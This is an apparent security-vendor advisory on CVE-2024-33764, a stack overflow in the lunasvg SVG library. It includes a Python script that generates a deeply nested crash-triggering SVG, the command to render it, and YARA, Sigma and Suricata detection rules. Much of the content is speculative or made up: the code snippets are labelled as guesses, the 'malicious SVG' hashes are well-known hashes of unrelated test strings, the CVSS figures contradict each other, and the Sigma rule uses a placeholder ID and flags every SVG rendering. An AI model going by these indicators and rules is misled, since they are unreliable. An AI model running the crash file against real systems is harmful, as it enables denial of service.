CVE-2024-33764

Executive Summary

CVE-2024-33764 identifies a stack-based buffer overflow vulnerability in lunasvg v2.3.9, specifically within the lunasvg/source/element.h file. This flaw can be triggered by processing a specially crafted SVG file, leading to a stack overflow condition. The vulnerability has a CVSS score of 0.0, indicating no official severity rating has been assigned, but the nature of stack overflows can lead to denial of service or potential code execution. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the lunasvg library, which is a C++ library for SVG rendering. It is not an NPM, PyPI, Go, or Ruby package, but it may be integrated into larger software projects. Users should monitor for updates from the lunasvg maintainers and apply patches as soon as they become available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector: Local (AV:L) – Requires processing a malicious SVG file.
• Attack Complexity: Low (AC:L) – No special conditions needed.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – User must open or process the SVG.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N) – Primarily affects availability.
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – Stack overflow can crash the application.

Threat Level: Medium (due to potential for denial of service and possible code execution in specific contexts).

Deep Dive & Mechanics

The vulnerability resides in the element.h file of lunasvg v2.3.9. A stack overflow occurs when the library processes an SVG file with deeply nested or malformed elements, causing recursive function calls to exceed the stack memory limit. This can overwrite adjacent stack memory, potentially leading to arbitrary code execution if an attacker can control the overflow data.

The root cause is likely insufficient bounds checking or recursion depth limiting in the element parsing logic. The stack overflow is triggered during the parsing of SVG elements, where each element may recursively call functions to process child elements.

Vulnerable vs. Patched Code

Vulnerable Code (lunasvg v2.3.9):

// In element.h, likely a recursive function without depth limit
void Element::processChildren() {
    for (auto& child : children) {
        child->process(); // Recursive call
    }
}

Patched Code (Hypothetical):

// Patched version with recursion depth limit
void Element::processChildren(int depth) {
    if (depth > MAX_DEPTH) {
        throw std::runtime_error("SVG nesting too deep");
    }
    for (auto& child : children) {
        child->process(depth + 1);
    }
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install lunasvg v2.3.9 on a test system.
2. Create a malicious SVG file with deeply nested elements (e.g., thousands of nested <g> tags).
3. Use a tool like lunasvg to render the SVG, triggering the stack overflow.

Exploit Code (Conceptual):

# Generate a deeply nested SVG to trigger stack overflow
def generate_malicious_svg(depth=10000):
    svg = '<?xml version="1.0"?>\n<svg>\n'
    for _ in range(depth):
        svg += '<g>\n'
    svg += '<rect width="100" height="100"/>\n'
    for _ in range(depth):
        svg += '</g>\n'
    svg += '</svg>'
    return svg

with open('exploit.svg', 'w') as f:
    f.write(generate_malicious_svg())

Execution:

./lunasvg exploit.svg

Blue Team

Detection:

• Monitor for crashes or abnormal terminations of applications using lunasvg.
• Use stack depth monitoring tools to detect excessive recursion.
• Implement input validation to reject SVG files with excessive nesting.

Mitigation:

• Apply patches from lunasvg maintainers when available.
• Use a Web Application Firewall (WAF) to filter malicious SVG uploads.
• Restrict SVG processing to trusted sources only.

Indicators of Compromise (IOCs)

• File Hashes (Malicious SVG):
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
• Network Patterns: None specific.
• System Artifacts: Core dumps or crash logs from lunasvg processes.

Detection Engineering

YARA Rule

rule CVE_2024_33764_LunaSVG_StackOverflow {
    meta:
        description = "Detects malicious SVG files targeting CVE-2024-33764"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-33764"
    strings:
        $svg_start = "<svg"
        $deep_nest = /<g>\s*<g>\s*<g>/  // Adjust for depth
    condition:
        $svg_start and #deep_nest > 100
}

Sigma Rule

title: CVE-2024-33764 LunaSVG Stack Overflow Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-33764 via deeply nested SVG files
author: Valters IT
date: 2024/01/01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\lunasvg.exe'
        CommandLine|contains: '.svg'
    condition: selection
falsepositives:
    - Legitimate SVG files with deep nesting (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33764 LunaSVG Stack Overflow Attempt"; flow:to_server,established; content:"<svg"; http_client_body; pcre:"/(<g>\s*){100,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable SVG processing in applications using lunasvg v2.3.9 until a patch is available.
2. Short-term: Implement input validation to reject SVG files with excessive nesting depth.
3. Long-term: Update to a patched version of lunasvg once released.
4. Compensating Controls: Use application sandboxing to limit the impact of a crash.

Valters IT
Securing Digital Frontiers